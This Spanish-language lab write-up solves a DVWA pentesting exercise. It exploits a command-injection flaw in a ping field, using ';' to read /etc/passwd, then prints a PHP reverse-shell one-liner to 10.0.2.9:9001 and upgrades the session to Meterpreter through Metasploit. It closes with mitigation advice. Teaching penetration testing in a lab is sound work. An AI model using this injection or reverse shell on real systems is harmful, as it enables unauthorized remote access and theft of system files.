Secciones
1. Introducción
Este post es la resolución al ejercicio: https://github.com/breatheco-de/pentesting-exploit-vulnerable-website-project.git
Resumen del objetivo y alcance del ejercicio.
Dirección IP Objetivo: 10.0.2.10
Alcance: Este ejercicio incluye la detección de vulnerabilidades explotables y la escalación de privilegios. Nota: No se realizarán actividades de post-explotación.
2. Metodología
2.1 Herramientas y técnicas utilizadas.
- Metasploit Framework: para Obtener la reverse shell con Meterpreter.
3. Resultados
3.1 Detalles de las vulnerabilidades explotadas.
Anteriormente ya encontramos en esta máquina inyecciones SQL. Ahora vamos a intentar conseguir una ejecución remota de comandos utilizando metasploit. (Aunque hay muchísimas más vulnerabilidades ya que el entorno está creado con ese objetivo). Vamos a elegir el nivel de seguridad en “Low”. Y nos vamos a el apartado “Command Injection”.
Vemos un campo en el que nos deja escribir una IP, y nos hace una prueba de Ping:

Parece que tiene algún tipo de verificación, ya que, si escribimos código y lo ejecutamos, no muestra nada:

Rápidamente, descubrimos que la comprobación se puede vulnerar, ya que si después de la IP, escribimos “;”, podemos escribir después cualquier comando y se ejecutará, en este caso mostramos con “cat” el archivo /etc/passwd:

Configuración del módulo de explotación
Bien, ahora que tenemos detectada la vulnerabilidad, vamos a explotarla para conseguir acceso remoto directamente desde nuestra temrinal. Para ello, crearemos una reverse Shell. Primero, pondremos Metasploit en modo escucha utilizando el módulo exploit/multi/handler de la siguiente manera:

Ahora que estamos en escucha, podemos utilizar https://www.revshells.com/ para crear nuestra reverse Shell en DVWA de forma más fácil:
php -r '$sock=fsockopen("10.0.2.9",9001);exec("sh <&3 >&3 2>&3");'

En el momento de hacer click en “submit”, recibimos la conexión en metasploit como podemos comprobar en la siguiente imagen:

Migrando a Meterpreter
Ya podemos ejecutar comandos, pero para mejorar la Shell, podríamos pasarla a Meterpreter. Para ello, enviamos al background la sesión y ahora ejecutamos en metasploit el módulo “post/multi/manage/shell_to_meterpreter”. Y lo configuramos para que escuche en un puerto diferente y cree una nueva conexión a partir de la sesión que ya tenemos establecida:

Ahora ya tenemos las dos sesiones:

Si seleccionamos la sessión 2, estaremos en meterpreter con todas las ventajas que nos ofrece:

Conclusión
El ejercicio de pentesting en DVWA demostró la explotación exitosa de una vulnerabilidad de inyección de comandos, lo que permitió la ejecución remota de comandos y la obtención de una reverse shell. Esta vulnerabilidad, aunque básica, subraya la importancia de validar y sanitizar todas las entradas de usuario para prevenir la ejecución de comandos no autorizados. La mitigación efectiva incluiría la implementación de validaciones estrictas de entrada, el uso de listas blancas para comandos permitidos y la aplicación de principios de mínimo privilegio en los servidores. Además, se recomienda realizar pruebas de seguridad regulares y mantener el software actualizado para proteger contra vulnerabilidades conocidas.